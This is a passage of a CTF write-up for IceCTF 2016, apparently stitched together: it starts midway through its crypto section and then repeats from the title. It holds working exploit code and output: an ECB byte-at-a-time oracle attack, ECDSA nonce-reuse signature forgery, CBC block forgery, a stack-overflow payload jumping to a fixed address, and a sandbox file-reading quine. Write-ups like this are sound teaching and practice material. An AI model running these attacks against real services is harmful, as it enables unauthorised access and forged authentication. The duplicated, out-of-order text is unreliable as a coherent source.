N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469```
We have d (and ϕ), so `libnum.n2s(pow(c,d,N))` gives ```IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}```### RSA2 (60 p)
```I guess the 3rd time is the charm? Or not... flag.txt
$ cat flag.txt
N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
```
Looking up N on [factordb.com](http://factordb.com), we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.
The code
```pythonphi = (57970027 - 1) * (N / 57970027 - 1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, N))```
prints
```IceCTF{next_time_check_your_keys_arent_factorable}```
### l33tcrypt (90 p)
```l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py```
The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.
```pythondef server(string): ciphertext = encrypt(string + flag + padding) return b64encode(ciphertext)```
The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with `AAAAAAAAAAAAAAAA` and where `???...` corresponds to the flag. The last char in the block is the first byte of the flag.
```
... AAAAAAAAAAAAAAAA? ????????????????|----------------|-----------------|----------------|
0xb4ff343...
```
We save the current block value `0xb4ff343...`. Now, we run the guessing procedure:
```
... AAAAAAAAAAAAAAAAx ????????????????|----------------|-----------------|----------------|
x = 'G' 0x57388f8... x = 'H' 0x343409f... X = 'I' 0xb4ff343... <-- correct guess
```
Obviously, we can choose a block `AAAAAAAAAAAAAAA??` and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:
```pythonimport base64, socket, string
magic = 'l33tserver please'
def oracle(plaintext): s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001)) s.recv(1024) s.recv(1024) s.send(base64.b64encode(magic + plaintext) + '\n') s.recv(1024) return base64.b64decode(s.recv(1024)) known_prefix = 'IceCTF{'
print '[+] Running trying plaintexts...'
while True:
i = 16 * 4 - 2 - len(known_prefix)
reference = oracle(i * 'A')[0:80] for guess in '_' + string.ascii_letters + string.digits + '}': if reference == oracle(i * 'A' + known_prefix + guess)[0:80]: known_prefix = known_prefix + guess print known_prefix break if guess == '}': print '[+] DONE!' break```
The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag ```IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}```### Over the Hill (65 p)
```Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted ```
We are given a matrix and a ciphertext
```pythonsecret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]] ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"```
Looks like a Hill cipher... the name vaguely suggests it... :-)
```python
import numpyfrom sage.all import *
alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")n = len(alphabet)
Zn = IntegerModRing(n)
secret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]]
secret = matrix(Zn, secret).inverse()ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]
plaintext = ''
for block in blocks: decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose() plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block) print plaintext
```
Invoked with `sage -python over_the_hill.py` gives ```IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}```### Round Rabins (70 p)
Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try [factordb.com](http://factordb.com). It reports that `N` is square. OK, great.
```python
import libnum
N = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
x = libnum.common.nroot(N, 2)assert(N == x ** 2)
```
The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP `factor(x^2 - Mod(c%p,p))`. We now have the square roots
```pythonm1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494m2 = p - m1```
We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows
```pythonq = (c - m1 ** 2) / pl = q * libnum.modular.invmod(2 * m1, p)m = m1 + l * p
print libnum.n2s(m % N)```
Running this, we get the flag```IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}```### Contract (130 p)
```Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng ```
This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n.Embodied in Python, the attack is performed as follows.
```pythonimport hashlib, libnum, binascii, socketfrom ecdsa import VerifyingKey, SigningKey
def send(message): s = socket.create_connection(('contract.vuln.icec.tf', 6002)) s.send(message + '\n') print s.recv(1024) print s.recv(1024) return
PUBLIC_KEY = '''-----BEGIN PUBLIC KEY-----MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCBsQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdYI7sGDvd9eUias/xPdSIL3gMbs26b0Ww0-----END PUBLIC KEY-----'''
vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())n = vk.pubkey.order
help_cmd = 'help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826'time_cmd = 'time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d'read_flag_cmd = 'read flag.txt'
msg1, sig1 = help_cmd.split(':')msg2, sig2 = time_cmd.split(':')z1 = int(hashlib.sha256(msg1).hexdigest(), 16)z2 = int(hashlib.sha256(msg2).hexdigest(), 16)r1 = int(sig1[0 : len(sig1)/2], 16)s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)r2 = int(sig2[0 : len(sig2)/2], 16)s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)
k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % nd = (s1 * k - z1) * libnum.modular.invmod(r1, n) % nsk = SigningKey.from_secret_exponent(d, curve=vk.curve)
send(read_flag_cmd + ':' + binascii.hexlify(sk.sign(read_flag_cmd, hashfunc=hashlib.sha256)))```
Once run, the server responds ```IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}```
### Flagstaff (160 p)
```Someone hid his flag here... guess we better give up.
nc flagstaff.vuln.icec.tf 6003 server.py ```
The task is to find a ciphertext which decrypts to `flag` + padding.
```pythonimport socket, base64
def send(commands): s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003)) s.recv(1024) print s.recv(1024) for cmd in commands: print '>> Sending:', cmd s.send(cmd + '\n') data = s.recv(1024).strip('\n') s.recv(1024) return data
data = 'flag' + '\x0c' * 0xcencrypted = send(['decrypt', base64.b64encode(data + data)])c = base64.b64decode(encrypted)[0:16]data = send(['secret', base64.b64encode(c + data)])data = send(['decrypt', data])print 'FLAG:', base64.b64decode(data)```
Running the code, we get
```Send me a command: >> Sending: decrypt>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: secret>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: decrypt>> Sending: ZEkWhSKVwJ/Z8MQYzdMH6ZaHqAcoEKg4GxKzlHc7I4tDmi5tKnPGE3rm/D5ZJpHbHuxv8yNCNqLVU0g7yOSi7Ic3xgP7Ke7kEADYzQQGtsc=FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}```
### Attack of the Hellman! (200 p)
```We managed to intercept a flag transmission but it was encrypted :(. We got the Diffie-Hellman public key exchange parameters and some scripts they used for the transmission along with the encrypted flag.
Can you get it for us? ````
According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.
```pythonimport base36
p=0x113b7d158a909efadc7216ca15fd51c419eb41ab108e0aa1d45da70c78185593d44bdb402476181c008ef36bc5378b0ad4c868ca4ed4f754c3c1b1f0891bcd8ad7d3db07251de90f4362cb5895f836eec8851d3fe3d68083db8a63053ec4078a55df017f1d43393f3aa2a453bb334417671731731e1e7687c77d104ff76aed523b6980831a4c4b55d74c4de77462d9a596ce7fcb3090d0abb8f94989c1b3701e533ebd722c855fba9ff17d64ce9b3306841157ee49b1c1fb3a38c93b9faaa84efcfdceba923b73b8682835ca322a1350bcc322d7eb34259d8302f55157c2c5d72c8aebb7b57f9f08809ee034258cf2e3c8e0982a155b72fdc79432eceb83b49d9g=0xa9074b6e6d5bba3d024b90eeaee1f5b969fee32c5c25b91698755450509a8beb4100b046c9c6601981e208bc6e505aa67fdd224eff829a8cd8ebc1267c2cb4192b18ab1bcf5dba908e2cd849be038b5d52d5cf836eed63ee54fab1838a7152361a298bbeab3cc2d6f2b84097622fa5493dca99b4b6a648dcc886b607a8dc9590d995cf2e1f24ac5f277a2260d34410dc3b832ed6dc4928e92dfa8a807ddbdf77574d7bb34a45ca08bb7c8b89aa1fd1380abcbd75f99d3e819da9617356b650f9cc21ccffe913b09ca547967bb12feedbdb97730ccff09cc63aab6f6fc7b33392211da29bf32538b38a514cad4ea271e97618e39b0ab7cb152499093b7afbae2fA=0x18776a5cf81fc30572aa9682dfb2f7d606e8073de536853dd9be8a391261dcca6cebea2a2b1337f2a057d238152729cea6983a8ef2b111d8096f212db771229830e2e6d4839a37355d4efb265183f199cd573fa99a38183e7ee3cc7fdac7c92078b6c1535b142965379f1c7e73d5a95725dfb75749529a687bf9b7e01a0b4511a05d96999608c2527a0308f2360d26706233d451f62edc8f2e76fde85c631b601d12a828657efe65aba78fccd46d79a84bc3380da71fad6472d9e666fd99fbd7c154555501b608d4cef875099e037eef3712a5e3108f95c1e01b2a8f0961569c77738a459b65b0ac39109b30ab3226d7b92a1db080a99bbb86f6e96266b13df7B=0xbecd8332380e8c0f3969602e4924473ade119dad5fe6f2d9582dc8196ae85dfa80fab3c001f8bea1ca6c63b9f8f264742beaede2bd11c86bf4d6a0fa7df1dd84da318a7142f2228dbb8dd37a5a3c5a772dd2c744184a41743f4286ba2ccfa431c1571cd63a9ee1bb398b4dd09ccaa426b37f72f4452c2f37a96634e8d6604362e2836891818e9744f00323ade93e10aa1785cc1865fff57ec5caacf74b11ebed16384613145a2e33141a9523252b952cf0eb9c33914d067b66a2a03133f044f336efee054eec905dfa14af970f556b44c52e3814e0914a2393bb56da5aca7b88c45fcaf02f76fc9718746c15901b8ea86801f0b07eca7385dd1cb6991e65e421
table = {}S = 0
print '[-] Generating table...'
for i in range(0, 2**33, 2**20): # sufficient bounds table[pow(g, i, p)] = i
print '[-] Performing look-up in table...'
for i in range(0, 2**18): B = (B * g) % p if B in table: print ' >> B = g ^', table[B] - i S = pow(A, table[B] - i, p) break
print '[+] Key found:\n\n', base36.dumps(S), '\n'```
I saved the code as `hellman.py` and did the following terminal magic:
```$ python hellman.py [-] Generating table...[-] Performing look-up in table... >> B = g ^ 4856995548[+] Key found:
1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn
$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txtenter aes-256-cbc decryption password: [key]$ cat flag.txtIceCTF{cover_your_flags_in_mayonnaise_and_primes_guys}```
Great :-)
# Conclusion
This was a fun CTF, perfect for beginners. Good diversity and entertaining problems, no complicated problems that require no though and only large amounts of work or guessing. Some quirks with unintended vulnerabilities in some challenges along they way, but the organizers did a good job. |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```
### Time Traveler (45 p)
```I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time. ```
Let us try the Wayback Machine!
### Audio problems (45 p)```We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything? ```
In Audacity, we can get the spectrum:
Feels like I've solved this very same problem a couple of times now... get creative problem makers!
##Web### Toke (45 p)
I have a feeling they were pretty high when they made this [website](http://toke.vuln.icec.tf)...
We create an account and look at the tokens. There is a `jwt_token`, containing
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s```
Let us decode it! Among other things, we get ```IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}```### Kitty (80 p)
```They managed to secure their website this time and moved the hashing to the server :(.We managed to leak this hash of the admin's password though!
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.
Can you get the flag? [kitty.vuln.icec.tf]```
OK, trying the most simple and obvious... reversing the hash works! The password is `Vo83*`. If we login as `admin` with the password we found, we see:
```Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}```##Pwn### Demo (55 p)
```I found this awesome premium shell, but my demo version just ran out... can you help me crack it? /home/demo/ on the shell. ```
This is probably not the intended solution. Trying to execute `_=icesh && ./demo` does not work in `zsh`, but it does in `sh`. This requires no spoofing for `argv[0]`, and thus no execve code. Less work!
```[ctf-67751@icectf-shell-2016 /home/demo]$ sh$ _=icesh && ./demo$ cat flag.txtIceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}```
### Smashing Profit! (60 p)
```Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers!
/home/profit/ on the shell. ```
OK, let us go to the shell. Not surprisingly, `profit` suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ `0x804850b` which would be suitable to call:
Here is how to exploit the buffer overflow to call the above function:
```[ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profitSmashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | 25263 segmentation fault ./profit```
### Quine I/II (90p / 125p)
This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).
So, in pseudo code:
```pythonif 'some_file' exists: c = read('some_file') c += 1 if c < 19: print flag with system() call write('some_file', c)else: create('some_file') write('some_file', 0)```We noticed that the code is located in `./sandbox/[random token]-[time]`, so maybe the flag is `../../flag.txt`. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like
```cconst char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};#include <stdio.h>int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}```
Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from `../../flag.txt` it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with `IceCTF{`, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:
```pythonimport sysguess = 'I' # the first char of the flaglength = 1data = '''};#include <stdio.h>int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess```
We call it with
```$ python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500...//I```
Now this is where things get interesting! The code obviously works for `I`, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after `//`. So, by setting the read length (`length = sys.argv[1]`) sufficiently large, we can submit auto-generated code as follows:
```$ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500...//IceCTF{the_flags_of_our_quines}
$ python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501...//IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}```
Great! Two challenges solved with two almost identical quines :-D
##Crypto### RSA? (50 p)
```John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt```
OK, let us see that `flag.txt` contains
```$ cat flag.txt
N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
```
John used exponent `0x1`, so m is enevitably the same as c. Therefore, solving this challenge is no harder than `libnum.n2s(c)`, which prints ```IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}```### RSA (60 p)
```This time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. flag.txt ```
Let us take a look...
```$ cat flag.txt
N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469```
We have d (and ϕ), so `libnum.n2s(pow(c,d,N))` gives ```IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}```### RSA2 (60 p)
```I guess the 3rd time is the charm? Or not... flag.txt
$ cat flag.txt
